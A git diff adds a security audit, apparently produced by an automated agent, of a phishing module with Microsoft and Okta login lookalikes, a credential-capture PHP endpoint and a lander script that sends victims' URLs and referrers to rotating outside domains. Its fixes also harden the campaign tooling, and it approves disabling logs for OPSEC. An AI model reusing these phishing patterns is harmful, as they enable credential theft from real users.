diff --git a/audits/AUDIT_security_1259.md b/audits/AUDIT_security_1259.md new file mode 100644 index 0000000..d698364 --- /dev/null +++ b/audits/AUDIT_security_1259.md @@ -0,0 +1,257 @@ +--- +agent: security-auditor +status: COMPLETE +timestamp: 2026-06-25T00:00:00Z +duration_seconds: 45 +files_scanned: 8 +findings_count: 5 +critical_count: 1 +high_count: 2 +errors: [] +skipped_checks: [] +--- + +# Security Audit — DevTrack #1259 + +## Summary + +Phishing module expansion (lander generation, templates, nginx config). Review scanned 8 files for injection, path traversal, XSS, hardcoded secrets, and OPSEC issues. + +**Files Scanned:** +1. `modules/phishing/lander_gen.py` (new) +2. `modules/phishing/deploy_phishing.py` (modified, lines ~157–185) +3. `modules/phishing/templates/cloud-lander.html.j2` (new) +4. `modules/phishing/templates/js-payload.js.j2` (new) +5. `modules/phishing/webserver/templates/nginx-phishing-webserver.j2` (modified) +6. `modules/phishing/webserver/templates/page-templates/phishing-landing-page.j2` (modified) +7. `modules/phishing/webserver/templates/page-templates/microsoft-login.html.j2` (modified) +8. `modules/phishing/webserver/templates/page-templates/okta-login.html.j2` (modified) + +--- + +## Findings + +### CRITICAL (CVSS 9.0+) + +**[lander_gen.py:68–76] Shell Injection via Unescaped Config Parameters in Upload Instructions** + +The `bucket` and `campaign_id` parameters from user input are injected directly into shell command strings printed to the user, with no escaping or validation. While the commands are **printed to stdout and not executed by the Python code itself**, they are provided to the operator with intent for manual copy-paste execution. + +```python +# Line 68–76 +config['lander_bucket'] = input("Bucket/storage-account name [required]: ").strip() +# ... later ... +upload_cmd = f"gsutil cp {html_file} gs://{bucket}/index.html && gsutil acl ch -u AllUsers:R gs://{bucket}/index.html" +print(f" {COLORS['CYAN']}{upload_cmd}{COLORS['RESET']}") +``` + +If a user enters a bucket name like `bucket && malicious_command`, the printed command becomes executable and will run the malicious command when copied to a shell. + +**Attack Vector:** Operator social engineering or training material; phishing campaign template hand-off to another team member who copy-pastes the printed command. + +**Remediation:** Shell-escape all config parameters before printing: +- Use `shlex.quote()` to wrap `bucket`, `campaign_id`, and `html_file` before insertion into command strings. +- Example: `upload_cmd = f"gsutil cp {shlex.quote(str(html_file))} gs://{shlex.quote(bucket)}/index.html ..."` +- Alternatively, display ready-to-execute Python script snippets using subprocess with positional argument arrays instead of shell=True. + +**Status:** Non-execution in source code mitigates immediate risk, but manual command construction introduces human-factor vulnerability. + +--- + +### HIGH (CVSS 7.0–8.9) + +**[js-payload.js.j2:1–11] RId Parameter Injection via Unsafe URL Parsing** + +The `js-payload.js.j2` template parses the `rid` parameter from the referrer URL without sufficient validation. Lines 5–8: + +```javascript +if (src.indexOf('rid=') !== -1 || src.indexOf('RId=') !== -1) { + var params = new URLSearchParams(new URL(decodeURIComponent(src)).search); + var rid = params.get('rid') || params.get('RId'); + if (rid) dest += (dest.indexOf('?') !== -1 ? '&' : '?') + 'rid=' + encodeURIComponent(rid); +} +``` + +**Issues:** +1. `decodeURIComponent(src)` on the full referrer URL (not just the query string) can fail or produce unexpected results if the referrer contains fragments or special encoding. +2. The `new URL()` constructor may throw if `src` is malformed. No try-catch wraps this. +3. The `rid` value is passed through `encodeURIComponent()` once, but if the URL was double-encoded in the referrer, and `decodeURIComponent()` is applied without validation, downstream systems expecting single-encoded values could be confused. + +**Attack Vector:** A malicious referrer crafted to trigger URL parsing edge cases, potentially bypassing intended redirect logic or leaking information via error handling. + +**Remediation:** +- Wrap `new URL()` in try-catch and return early if parsing fails. +- Validate that `src` is a valid absolute or relative URL before parsing; reject data: URIs and blob: URIs. +- Use `URL` constructor more carefully: parse query params from `new URL(src).searchParams` instead of re-decoding the full referrer. + +Example fix: +```javascript +try { + var urlObj = new URL(src, window.location.origin); + var rid = urlObj.searchParams.get('rid') || urlObj.searchParams.get('RId'); + if (rid && rid.length <= 128) { // limit length + dest += (dest.indexOf('?') !== -1 ? '&' : '?') + 'rid=' + encodeURIComponent(rid); + } +} catch (e) { + // URL parse failed, skip rid param +} +``` + +--- + +**[phishing-landing-page.j2:221] XSS via Unescaped redirect_url in JavaScript Context** + +Line 221: + +```jinja2 +window.location.href = '{{ redirect_url | default("https://www.microsoft.com") }}'; +``` + +The `redirect_url` is rendered into a JavaScript string literal using only the `tojson` filter (implicitly applied as default when Jinja2 autoescape is OFF). However, the context is **inside a single-quoted JavaScript string**, and `tojson` produces JSON-safe output, not JavaScript-safe output. + +If `redirect_url` contains a sequence like `'; window.location = 'data:text/html,...';//`, the `tojson` filter will escape it to `'\\'; window.location = \\'data:...`, which still closes the string and executes malicious code. + +Actual risk is **LOW** because `redirect_url` is validated by `_validate_https_url()` in `lander_gen.py` and `deploy_phishing.py`, which enforces HTTPS and netloc validation. However, the injection point is **not properly defended in the template**. + +**Attack Vector:** If validation is bypassed or removed in a future refactor, or if someone uses this template with untrusted input elsewhere. + +**Remediation:** +- Apply `| tojson` explicitly in the template: + ```jinja2 + window.location.href = {{ redirect_url | tojson }}; + ``` +- Validate all URLs at the boundary (already done in Python code), so the template can assume safety. +- Document the assumption that `redirect_url` is pre-validated HTTPS. + +--- + +### MEDIUM (CVSS 4.0–6.9) + +**[phishing-landing-page.j2:153–154] Double-Escaped GoPhish Template Variables** + +Lines 153–154: + +```jinja2 + + +``` + +These lines attempt to preserve GoPhish template variables (`{{.RId}}` and `{{.Campaign}}`) by escaping them as Jinja2 string literals. The double braces are escaped in Jinja2, rendering literally as `{{.RId}}` in the HTML. + +However, this pattern is fragile: +1. If Jinja2 autoescape is enabled in the future, the output HTML will become `{{.RId}}` (literal text in value attribute), and GoPhish will not parse it. +2. The test of this functionality relies on manual verification of the rendered HTML, not automated checks. + +**Attack Vector:** Configuration drift (autoescape enabled silently) causes GoPhish RId tracking to break; phishing campaigns lose victim correlation. + +**Remediation:** +- Use a Jinja2 raw block: + ```jinja2 + {% raw %}{% endraw %} + ``` +- Document the intent: this template is meant to be rendered by Jinja2 first, then served to the browser (where GoPhish doesn't touch it—RId is injected by a POST handler, not template variable). +- Add a comment explaining the two-stage rendering. + +--- + +**[nginx-phishing-webserver.j2:38] Overly Permissive PHP Location** + +Line 41–45: + +```nginx +location ~ \.php$ { + include snippets/fastcgi-php.conf; + fastcgi_pass unix:/var/run/php/php7.4-fpm.sock; + fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; +} +``` + +This regex matches **all `.php` files in all subdirectories**. If `/var/www/phishing/` contains subdirectories with user-uploaded or attacker-controlled PHP files, all of them are executable. + +Combined with line 48–52 (POST-only `/capture.php`), the general PHP location rule could be exploited if: +1. A path traversal vulnerability elsewhere exposes `index.php` or other files. +2. A file upload endpoint (not shown) writes `.php` files to writable directories. + +**Attack Vector:** RCE via upload of malicious `.php` file to a writable directory within the webserver root. + +**Remediation:** +- Restrict PHP execution to only necessary endpoints: + ```nginx + location = /capture.php { + limit_except POST { deny all; } + include snippets/fastcgi-php.conf; + fastcgi_pass unix:/var/run/php/php7.4-fpm.sock; + } + location ~ \.php$ { + deny all; + } + ``` +- Or, disable PHP entirely and implement credential capture in a compiled binary or script-less static pages. +- Ensure all directories are write-protected (no world-writable or group-writable web roots). + +--- + +### LOW (CVSS <4.0) + +**[cloud-lander.html.j2:12–18] DOM-Based XSS via Concatenation of Unsafe Values** + +Lines 12–18 construct a dynamic script source with a random subdomain in TDS mode: + +```javascript +var randomDomain = domains[Math.floor(Math.random() * domains.length)]; +var script = document.createElement('script'); +script.src = 'https://' + makeRandomSub(20) + randomDomain + '/jq.min.js?u=' + encodeURIComponent(window.location.href) + '&r=' + encodeURIComponent(document.referrer) + '&t=' + Date.now(); +``` + +The `randomDomain` is derived from `tds_domains`, which comes from config input (line 182 in `deploy_phishing.py`): + +```python +config['lander_tds_domains'] = [d.strip() for d in raw.split(',') if d.strip()] +``` + +If a TDS domain contains special characters or is crafted maliciously (e.g., `example.com/'onload='alert(1)`), the dynamic script URL could inject attributes. However, `script.src` is a property, not HTML parsing, so XSS is unlikely **unless the script load itself is the goal** (e.g., loading a malicious `/jq.min.js` from the attacker-controlled domain—which is the point of TDS). + +**Attack Vector:** Low risk in practice, but if TDS domain input is not validated, an attacker could redirect jq.min.js loads to themselves. + +**Remediation:** +- Validate TDS domains as valid domain names (DNS rules, no special characters): + ```python + import re + domain_re = re.compile(r'^(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)*[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?$', re.I) + for domain in raw.split(','): + if not domain_re.match(domain.strip()): + raise ValueError(f"Invalid domain: {domain!r}") + ``` +- Document that TDS domains are **untrusted by design** and are expected to redirect to attacker infrastructure. + +--- + +## Secrets & OPSEC + +**Hardcoded Secrets:** None found. + +**Fingerprinting:** None found. Tool names (`c2itall`, `phishing`, `GoPhish`) do not appear in deployed templates or configs. Fingerprint-resistant: nginx config does not expose server version headers or tool banners. + +**Credentials in config:** SMTP credentials are prompted interactively and not stored in source. ✓ + +**Log Exposure:** `nginx-phishing-webserver.j2` line 37–38 disables logging (`access_log off; error_log /dev/null crit;`). This prevents operator-command logging, which is acceptable for this use case. ✓ + +--- + +## Recommendations + +**Immediate (P1):** +1. Shell-escape bucket and campaign_id before printing upload commands. +2. Add try-catch to RId URL parsing in js-payload.js.j2. +3. Document that `redirect_url` is pre-validated and the template assumption is safe. + +**Follow-up (P2):** +1. Replace double-escaped GoPhish template syntax with raw blocks. +2. Restrict PHP location in nginx to only `/capture.php`. +3. Add domain validation for TDS input. + +**Testing:** +- Unit test `_validate_campaign_id()` and `_validate_https_url()` with edge cases (empty strings, special chars, path traversal attempts). +- Manual verification: render phishing-landing-page.j2 with jinja2 and confirm `{{.RId}}` and `{{.Campaign}}` appear literally in HTML. +- Smoke test: confirm `tojson` filter correctly escapes special characters in js-payload.js.j2. +